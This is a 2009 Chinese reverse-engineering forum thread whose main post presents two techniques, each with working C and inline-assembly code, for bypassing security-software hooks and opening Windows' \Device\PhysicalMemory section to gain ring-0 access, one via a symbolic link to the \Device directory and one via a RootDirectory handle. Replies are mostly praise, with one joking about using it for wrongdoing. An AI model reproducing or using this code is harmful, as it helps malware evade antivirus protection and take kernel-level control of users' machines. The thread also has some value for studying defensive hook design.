首页
社区
课程
招聘
[原创]续PhysicalMemory攻击
2009-7-24 02:49 14588

[原创]续PhysicalMemory攻击

2009-7-24 02:49
14588
续PhysicalMemory攻击

之前曾讲过通过PhysicalMemory进入RING0的一些绕过攻击方式:
http://bbs.pediy.com/showthread.php?t=89068&highlight=

其中提到的为\Device\PhysicalMemory创建符号链接的方式来绕过对ZwOpenSection打开这个Section的拦截,这个实际很多安全软件都已经防御了,例如Comodo , 卡巴,等等,但是他们仅仅是拦截对\Device\PhysicalMemory的Symbolic Link创建,这样足够吗?

答案当然是否定的。我们仔细看\Device\PhyscialMemory这个路径,实际它由\Device这个对象目录和PhysicalMemory这个Section Name组成,那么很简单了,我们创建对\Device这个对象目录的映射,例如叫123,这个不会有人拦截,然后再打开\123\PhysicalMemory, 这样就绕过了拦截,得到了物理内存对象的句柄,轻松进入RING0,具体实现代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr2 = GetProcAddress(hlib , "ZwCreateSymbolicLinkObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ; 
LONG stat ; 
HANDLE symhandle ;
PHANDLE psymhandle = &symhandle;
OBJECT_ATTRIBUTES oba ; 
OBJECT_ATTRIBUTES oba2 ; 
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING linkname = RTL_CONSTANT_STRING(L"\\??\\123");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"\\??\\123\\PhysicalMemory");

InitializeObjectAttributes(&oba2 , &linkname , 0x40 , 0 , 0);
InitializeObjectAttributes(&oba , &phname , 0x40 , 0 , 0 );
__asm
{
   lea eax ,smbname 
   push eax
   lea eax ,oba2
   push eax
   push 1
   push psymhandle
   call pAddr2
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}


有了上面的启发,我们很容易可以想到另外一种攻击方式,来绕过对打开物理内存对象拦截,那就是用ZwOpenDirectoryObject打开\Device这个对象目录,然后设置ZwOpenSection的参数ObjectAttributes的RootDirectory域,设为\Device这个对象目录的句柄,那么同样可以顺利打开物理内存对象的句柄,进入RING0。代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr3 = GetProcAddress(hlib , "ZwOpenDirectoryObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ; 
LONG stat ; 
OBJECT_ATTRIBUTES oba ; 
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"PhysicalMemory");
HANDLE dirhandle ;
PHANDLE pdirhandle = &dirhandle;
OBJECT_ATTRIBUTES oba3 ;

InitializeObjectAttributes(&oba3 , &smbname , 0x40 , 0 , 0);

__asm
{
   lea eax , oba3
   push eax
   push 1
   push pdirhandle
   call pAddr3
}
InitializeObjectAttributes(&oba , &phname , 0x40 , dirhandle , 0 );

__asm
{
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}
 

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞8
打赏
分享
最新回复 (25)
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zapline 2009-7-24 03:08
2
0
额 这个沙发也坐了 膜拜一下
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xihuanxue 2009-7-24 06:56
3
0
高手方法就是多..膜拜
雪    币: 7651
活跃值: (493)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 15 2009-7-24 07:18
4
0
先让你打开,我只判断结果~
雪    币: 227
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
leivn 2009-7-24 08:43
5
0
太强了 ,无法学习,只能收藏
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 9 2009-7-24 12:15
6
0
这里讨论的是针对RING0的拦截漏洞的攻击。确实,函数调用完成后处理句柄会安全得多,但事实上绝大多数安全软件都是在函数调用前判断的。
另外,函数调用完成后处理,也并非是无懈可击。

这里讨论的是针对性的攻击,确实,RING0有什么不能拦截的呢,只要是能想出来的攻击方式,RING0知道了都可以有方法拦截,应用层攻击就在于RING0的程序员根本不知道有这种攻击方式~
雪    币: 89
活跃值: (185)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
kuang110 6 2009-7-24 12:54
7
0
为什么楼主就是这么强悍呢?

看不懂………………路过ing…………
雪    币: 142
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xiejienet 2009-7-24 13:26
8
0
路过,收集起来做坏事用,哇哈哈哈
雪    币: 62
活跃值: (72)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
creakerzgz 1 2009-7-24 14:03
9
0
同意
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
seesth 2009-7-24 16:45
10
0
只能收藏留在以后看了。。。
雪    币: 186
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
accessory 2009-7-25 00:44
11
0
我好像从某个文章里看到说 /DEVCIE/PHYSICALMEMORY 这个接口已经禁止掉了? 难道是在VISTA里?哪位大牛解说下?
雪    币: 169
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
superleft 2009-7-25 12:41
12
0
和文件的juction链接, 注册表的LINK有异曲同工之妙~
呵呵,突出一个字"绕".
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
bithaha 5 2009-7-27 22:08
13
0
坐个首页 楼主这个方法妙呀
雪    币: 220
活跃值: (631)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 2009-7-28 00:04
14
0
再次膜拜,希望大牛能发完整点的代码,有些结构都不知道在哪里定义的,菜
雪    币: 7651
活跃值: (493)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 15 2009-7-28 08:32
15
0
MJ的代码已经很完整了,相关结构的定义参考Native API手册或WRK~
雪    币: 381
活跃值: (130)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
HSQ 8 2009-7-28 11:27
16
0
还是MJ细心,进R0还是防不胜防啊
雪    币: 59
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
圣新冰心 2009-9-5 12:49
17
0
这不是MJ说过的东西么
雪    币: 145
活跃值: (85)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
winnip 1 2009-9-7 20:03
18
0
抢夺ring 0.激烈哦。。。。。。。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
watsy 2009-9-8 01:45
19
0
传说中的MJ牛...
雪    币: 413
活跃值: (341)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dongshan 2009-9-17 21:57
20
0
ring 0 情结就像处女情节样啊。
雪    币: 225
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Sovereign 2009-9-17 22:13
21
0
看过你多次发言后,觉得你肯定很NB.膜拜所有高手!!
真心话。
雪    币: 116
活跃值: (41)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
sethseth 2009-9-18 13:45
22
0
一些古老的代码又可以重新利用了
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
JDF 2009-9-19 14:47
23
0
不错,十分佩服,学习了
雪    币: 219
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lankiny 2009-10-13 23:34
24
0
看了有些收获,继续学习
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
stackple 2009-12-15 20:14
25
0
太牛了 你 ..
游客
登录 | 注册 方可回帖
返回